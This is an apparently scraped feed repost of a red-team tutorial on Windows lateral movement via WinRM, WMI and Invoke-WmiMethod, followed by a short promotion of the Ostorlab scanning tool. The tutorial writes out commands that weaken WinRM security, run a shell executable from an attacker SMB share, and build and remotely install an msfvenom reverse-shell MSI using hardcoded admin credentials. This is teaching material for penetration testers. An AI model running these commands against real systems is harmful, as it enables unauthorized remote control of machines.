Note: For more VNC pentesting cases, read our article here Lateral Movement through WinRM (T1021.006)WinRM is a command-line tool that enables administrators to remotely execute the CMD.exe commands using the WS-Management protocol. This specification describes a general SOAP-based protocol for managing systems such as PCs, servers, devices, Web services, other application[...]

3 views19:57

Hacking Articles Tips Tricks Videos Tutorials

s, and other manageable entities. It uses port 5985 for HTTP transport and 5986 for HTTPS Transport.

On server and client versions of the Windows operating system, Enable-PSRemoting allows the administrator to access the remote shell using Powershell for private and domain networks through WinRM service.

Read Microsoft’s documentation here about WinRM

First, to set up WinRM we need to execute the following commands in an Admin Powershell window only. This would enable winrm, allow HTTP connection (as by default no SSL cert is there for HTTPS in a system) and allow all users by adding them in trusted hosts.
Enable-PSRemoting -Force
winrm quickconfig
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
Set-Item WSMan:localhost\client\trustedhosts -value *
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6GyelLop_vSBT9yPM9a2MasOxA39suZneIWH4nFWDmOldt4HdJWQiBUXhKHVTIuSI_bsUz0NZRTeR8qv9O9UcoN3KoPpjIabVBeYtS52EHZNG8d-brHpFeB-33hzlOwiqvm_Qlfubao15sGr9pxGplfuyGn2Eunn-rh7NmFVslcelsDLIck-xrGorww/s16000/44.png?w=640&ssl=1

For WinRM service, we can manually traverse the config too like this and setting/changing any value.
cd WSMan:\localhost\Client
set-item .\allowunencrypted $true
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl-r6hSFv1YpUbbocUjB8Etrt_1P7QrEcpchcoP3xj0_IppxdfIqruM2P-HlHrPcM3hyGh99cjPcMN7UDW-OJJJads1aWRvrhBDQZpKC-n7BwMTV_xrgw07eHmKNLoddWlAPkNJHcfvET8ERwHskT1GKIj9EByyIIUg7S9rdTlwYc440bon91baDq2hQ/s16000/45.png?w=640&ssl=1

For a domain environment, often tools like WinRS won’t work due to Kerberos. Hence, we need to activate basic authentication mechanism.
set-item WSMan:\localhost\Service\Auth\Basic $true
set-item WSMan:\localhost\Service\AllowUnencrypted $true
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Su18pZJMbVnmPrFBO0sW-MgDZ0RMqLw_iL12iEV_qCrTfkyoQpN7z7XFpC4evdgMvw6JcaLanq6CKL8ec8PLeN9GJQYQtJTSVfk-4KeE4Xuj39Ktfw9_LJFUkUmgXEehBAIkAcdxSEx2iKO-myKrD10bg6DUNKdjNzyXjXaLcwlfl2qgg8x-n7cLbg/s16000/46.png?w=640&ssl=1

New-PSSession Powershell

New-PSSession command in powershell creates a new persistent powershell remote session. By providing in the remote credentials, you see that we have connected to the server. Useful in scenarios where one system has access to a target/destination server and we need to connect to it but our attacker system can’t reach it.

We can further execute the malicious executable that we have kept in our SMB share for further lateral movement.
New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
Enter-PSSession 2
cmd.exe /c \\192.168.1.4\sharename\shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtIBJUDn3AV2zdUgf2o1GaxlQX16lqYxDw9_R0QsoqiCJFwhVKBwB5DDeiFyvBnHEasQSike5XvCo7Bi0ZtsF-ZdbBOewg1H9l2ZFehyiSjWvKa4_jJBxKq-ZwSCOm70sVE8nvwI7NOtEx12Wy_Vi6KMqpNMGYcRXimyeHchb6von6rQJjAufB8lJigQ/s16000/47.png?w=640&ssl=1

You see, now server has bypass the incoming connections of firewall which were restricting a user to connect to it. We have made server connect to us instead!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFY2PJzRD8iHXa-IWp9xpE5jsp_m-42bI6UN_wdFIXYp0ZGUy9l_Srtheq-mE69H-tWUURMbTdarKX5WTYPlKUWBUPCa4ndT441XNR9V_DS5veeFhIyoSSp__HAFAGdrooI3LjkwaWb5RJf5_rIa0rvjmKw8tdn7gt03HpJH-P2MFKaW6PYkaGwWjlKA/s16000/48.png?w=640&ssl=1

It gives us a neat reverse shell!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3CHqR_1zCrCqPyQiPEbWRMpGcpwXXbDsqDB06nAqSDzYJXCTw7FIe_hw5WBHHW75tK6lWbd17BNfIpetXla1481_TQ6jcgN1LZoeWMALLOL_T4JHfOQ-TrmxEDadPcGIl2s-I-zosIFLRWL6eylcgaF0HOOhE-Aa3fNLqeTUGPvBraILdXsicJYO1ow/s16000/49.png?w=640&ssl=1

Invoke-Command Powershell

Invoke-Command is a cmdlet in Powershell that runs specified commands on remote systems by using WinRM interoperability. Admins use this to auto-install tools/software etc. But it can be used for lateral movement too. By specifying our command in “scriptblock” we can execute it. “-Credent[...]

3 views19:57

Hacking Articles Tips Tricks Videos Tutorials

3 views19:57

Hacking Articles Tips Tricks Videos Tutorials

3PdULWEVzhkZMQ-JTwu5OrrUAQ57fXtzSDCKTj_gLnVxd-wjJ0siNIhxDGqrSU6vCnSlqqm-OeuXhY4NwhR8UN0Qk-mDVEQJ1KqALxL2jcGQgs_luhkf4vH7G2N2Q/s16000/57.png?w=640&ssl=1

These hashes can further be used with psexec to conduct pass the hash attacks! Lateral Movement through WMIThe WMI command-line (WMIC) utility provides a command-line interface for Windows Management Instrumentation (WMI). WMIC is compatible with existing shells and utility commands. Wmi can also be used to execute commands remotely. This is achieved by using /node flag. For example, in the example below we are creating a new process call which will execute our shell kept in our SMB server on node 192.168.1.2
wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c \\192.168.1.4\sharename\shell.exe"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4qbiG4PXOs2Chp1oxx7Rh0SDwUG0NkicULLX5wqaiuBUX4SMDy0WiL-leR3f37X-37Uur75mjcJxtRivpYDXI8py0IdljcFLaZ9Yk4xXYfqBS7xMYRtkyIuuZJj-op1-vJuaQRMMcXhExKitul7HSpE5KZMWYX_2_xSKRHgmZxt01ruKdANenVzPuA/s16000/58.png?w=640&ssl=1

As you can see, execution was successful and we have received a reverse shell

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj30l8N60xGqiUq67kO2atLX1AzEZ6RXCFKGJ0RWhXhYjU5O_J0qUIahkrfkwXBvRpbMStcpxEMFcamsyfmm2DxJp0X4bV5pZUbZW2Qq7abAGIMDyBlghjjCbsS21PcuMC4HAtuCpYRkG1g6CnifvvfvftXYd7WiP8EOBKmfN89jqRSuj8fpbtg7013Lw/s16000/59.png?w=640&ssl=1 Lateral Movement through Invoke-WmiMethodAs for any good utility that existed as a binary in windows, Microsoft has created an equivalent powershell cmdlet for it. Invoke-WmiMethod is a cmdlet that does the same as wmic in the example above. Newer Invoke-CimMethod in PS 5.1+ does the same thing. Refer here.

To use Invoke-WmiMethod using CLI, we need to craft a command. Thanks to @spotheplanet for this technique. We can use generic Invoke-WmiMethod too but it requires GUI which we generally don’t have in Red Team scenarios.

In this technique, we will create a malicious MSI file, and install it in the destination server.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=1337 -f msi > shell.msi
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVYMOoSCZU7uh9qT7zS6cgZXl3py22eol14UGpsPcyLbCZZN-B_O3kcnWQMxL7BOfqBjkOCalEVYltyWaYhsXePRt9bIJtKe2CYXWKDVJzqHepok0l_qeTI5CfbTKWAmC0vCl-KkIJvlqfnShizD63-_d5XbjcxT9rzWlX60yTwMDkxC0tMtN_OVG0VA/s16000/60.png?w=640&ssl=1

Now, in the CLI of the compromised victim, we put in the following command. This command basically provides credentials (Administrator:Ignite@987) to Invoke-WmiMethod and installs an MSI file put in our SMB share.
$username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","\\192.168.1.4\sharename\shell.msi") -ComputerName dc1 -Credential $credential
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOdFlLHMFQ_2ueT5Gel4vFF4eMVdOHpi8ny_UTapDcKSXlaUlB4CkMDmrTFfvvBZrQguOiOKzHwD3AfISjw7h-PbOJSPUnZwNWsSzxgyL44OJ6q-YHiKfQlQ6nHtKonr7bn8h0nRPyTNvO9kr_y1mfBbQ6BUNKqQ6x7jOam2UP9X0DioZZR4N7BzU2LQ/s16000/61.png?w=640&ssl=1

On our reverse listener, you can see a stable shell has now popped up!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDgtugo9MM4wxLMCy0cbYdMV6MPR6Qe4JcCWPNaBt1WJ0bQeNFnfeNNIQKmHJuH6I7u-HzIcfmO7ndqeDosaNhCbic6EFUZOL_7NCzUrkHNkITfDq9BJ86JHdMHW_Wr9p5FSaB09dNG89WwxI0Ec8-rzr-hHzLbs1s6UPwGsLOKrvaa4mv_0y2-LhzrQ/s16000/62.png?w=640&ssl=1 ConclusionLateral Movement is an essential step in red teaming as it leads to privilege escalation and network compromise. The article talked about Remote Services and how they can be utilized for lateral movement scenarios during Red Team Assessments. These services inherently have the capability to interact with remote systems. We demonstra[...]

4 views19:57

Hacking Articles Tips Tricks Videos Tutorials

ted such techniques in the article. References* https://attack.mitre.org/techniques/T1021/
* https://github.com/redcanaryco/atomic-red-team
* https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0?redirectedfrom=MSDN
* https://docs.microsoft.com/en-gb/windows/win32/com/the-component-object-model?redirectedfrom=MSDN
* https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
* https://www.ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement
* https://www.thomasmaurer.ch/2020/04/enable-powershell-ssh-remoting-in-powershell-7/
* https://docs.microsoft.com/en-gb/windows/win32/winrm/installation-and-configuration-for-windows-remote-management?redirectedfrom=MSDN
* https://blog.gentilkiwi.com/mimikatz

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Lateral Movement: Remote Services (Mitre:T1021) appeared first on Hacking Articles.

5 views19:57

Hacking Articles Tips Tricks Videos Tutorials

Ostorlab - A Security Scanning Platform That Enables Running Complex Security Scanning Tasks Involving Multiple Tools In An Easy, Scalable And Distributed Way
http://www.kitploit.com/2022/03/ostorlab-security-scanning-platform.html

5 views21:12

Hacking Articles Tips Tricks Videos Tutorials

5 views21:12

Hacking Articles Tips Tricks Videos Tutorials

The Sales Pitch If this is the first time you are visiting the Ostorlab Github page, here is the sales pitch. Security testing requires often chaining tools together, taking the output from one, mangling it, filtering it and then pushing it to another tool. Several tools have tried to make the process less painful with limited success. Ostorlab addresses the same challenge by simplifying the hardest part and automating the boring and tedious part.
To do that, Ostorlab focuses on the following: Ease of use with simple one command-line to perform all tasks Developer Experience through project documentation, tutorials, SDK and templates Scalability and Performance by using efficient serialisation format and proven industry standard for all of its components To do that, Ostorlab ships with: A simple, yet powerful SDK to make simple cases effortless while supporting the complex one, like distributed (https://www.kitploit.com/search/label/Distributed) locking, QPS limiting, multiple instance parallelization ... A battle-tested framework that has been powering Ostorlab Platform for years and used to perform complex dynamic analysis setup and demanding static analysis (https://www.kitploit.com/search/label/Static%20Analysis) workloads running on multiple machines. Performant and scalable design, thanks to the use of message queue with dynamic routing, binary and compact message serialisation with protbuf, universal file format using docker image, resilient thanks to docker swarm mode to cite a few A store of agents that make is to use and discover tools to add your toolset An automated (https://www.kitploit.com/search/label/Automated) builder to take the hassle away of building and publishing. A GUI to prepare and write down your tool collection setup Focus on documentation, multiple tutorials and upcoming videos and conference presentations A ready to use one-click template repo to get started. Requirements For some tasks, like running scans locally, Docker is required. To install docker, please see the following instructions (https://docs.docker.com/get-docker/). Installing Ostorlab is shipped as a Python package on Pypi. To install, simply run the following command if you have pip already installed. pip install -U ostorlab Getting Started To perform your first scan, simply run the following command: ostorlab scan run --install --agent agent/ostorlab/nmap --agent agent/ostorlab/openvas --agent agent/ostorlab/tsunami --agent agent/ostorlab/nuclei ip 8.8.8.8 This command will download and install the following scanning agents: agent/ostorlab/nmap agent/ostorlab/tsunami agent/ostorlab/nuclei agent/ostorlab/openvas And will scan the target IP address 8.8.8.8 To check the scan status: ostrlab scan list Once the scan has completed, to access the scan results: ostorlab vulnz describe --vuln-id ">ostorlab vulnz list --scan-id
ostorlab vulnz describe --vuln-id The Store Ostorlab lists all agents on a public store where you can search and also publish your own agents.

6 views21:12

Hacking Articles Tips Tricks Videos Tutorials

5 views21:12

About

Blog

Apps

Platform